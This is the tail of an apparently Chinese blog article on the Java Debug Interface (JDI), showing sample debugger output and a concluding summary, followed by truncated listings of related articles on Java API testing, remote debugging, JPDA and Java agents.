    Class com.ibm.jdi.test.HelloWorld is already prepared

    Reach line 10 of com.ibm.jdi.test.HelloWorld

    The local variable str at line 10 is Hello world! of java.lang.String

    结束语

    本文介绍了 Java 调试接口(JDI)的体系结构和工作方式,JDI 是 JPDA 体系结构的调试器后端接口,开发人员通过使用它所提供的接口与 JDWP(Java 调试线协议)前端 Agent 通信,以这种方式访问和控制被调试的目标虚拟机。最后,本文希望能够帮助开发人员在无须掌握 JPDA 的技术细节的情况下,能够编写出实用、高效的 Java 调试器程序。

    展开全文
  • Java编写的接口测试工具

    千次阅读 2018-11-09 08:47:42
    Java编写的接口测试工具
  • 本人使用java搭建完成一个文件上传的接口,并且已经使用Android测试通过,仅供大家参考,谢谢。
  • IDEA远程调试Java代码

    千次阅读 2022-03-08 23:10:59
    文章目录1 前言2 远程 Debug 调试原理2.1 理论基础2.2 远程调试分类3 主动连接调试3.1 远程服务中开启 Debug 服务3.1.1 对于 SpringBoot3.1.2 对于 Tomcat3.2 IDEA 中指定 Debug 服务器3.3 远程服务器防火墙端口放行...
  • 接口调试工具

    2017-11-07 08:16:45
    使用该工具可以方便的发起http请求,并获取返回参数,该工具是基于java编写的
  • 这是方便在java代码或其他的代码中写好了接口,又不想用app去调试的不便
  • api接口说明调试

    2017-05-03 16:24:08
    java 做的 api 管理调试demo 方便app开发人员api查看说明并调试
  • JPDA主要由三个部分组成:Java虚拟机工具接口(JVMTI)、Java调试线协议(JDWP),以及Java调试接口(JDI)。本系列将会详细介绍这三个模块的内部细节,并通过实例为读者揭开JPDA的面纱。本系列的第1部分从整体上...
  • postman接口调试工具

    2017-10-25 14:04:12
    用与java开发接口之间的调试,get请求,post请求,支持json格式,text,html等。可登陆保存调试信息,大大减少了每次调试时的请求和参数的繁琐过程
  • JPDA 主要由三个部分组成:Java 虚拟机工具接口(JVMTI),Java 调试线协议(JDWP),以及 Java 调试接口(JDI)。Java 程序都是运行在 Java 虚拟机上的,我们要调试 Java 程序,事实上就需要向 Java 虚拟机请求当前...
  • Vue调用后端java接口的实例代码

    千次阅读 2021-03-14 11:19:42
    前段时间 做了个学校的春萌项目,其中用到vue连接后端java接口。先上后端接口代码:package controller;import net.sf.json.JSONObject;import util.DBUtil;import javax.servlet.ServletException;import javax....
  • webservice接口调试工具

    2017-11-07 11:05:35
    该对文档是对于webservie接口开发进行调试的工具。。。。。。
  • 接口Java中一个比较特殊的概念,在构建大型的程序或在程序框架的时候需要经常去编写接口,当我们在编写大型的框架下的程序的时候也会经常去实现接口比如: Swing , Android 等等是一个非常常用的概念 接口这个概念...
  • Java Agent 调试Java agent debug

    千次阅读 2020-02-02 16:24:11
    Java Agent 调试,agent debug 一、简介 Java agent 是在另外一个 Java 应用(“目标”应用)启动之前要执行的 Java 程序,这样 agent 就有机会修改目标应用或者应用所运行的环境。修改环境的时候做到对于项目中的...
  • java调用websocket接口

    千次阅读 2021-02-12 20:22:37
    项目中需要调用第三方语音电话接口,代码如下:1.pom.xml引入websocket依赖org.java-websocketJava-WebSocket1.3.82.YiWeiDialUtil.javapackage com.yudu.sms.util;import com.alibaba.fastjson.JSONObject;import ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 212,420
精华内容 84,968
关键字:

java接口调试

java 订阅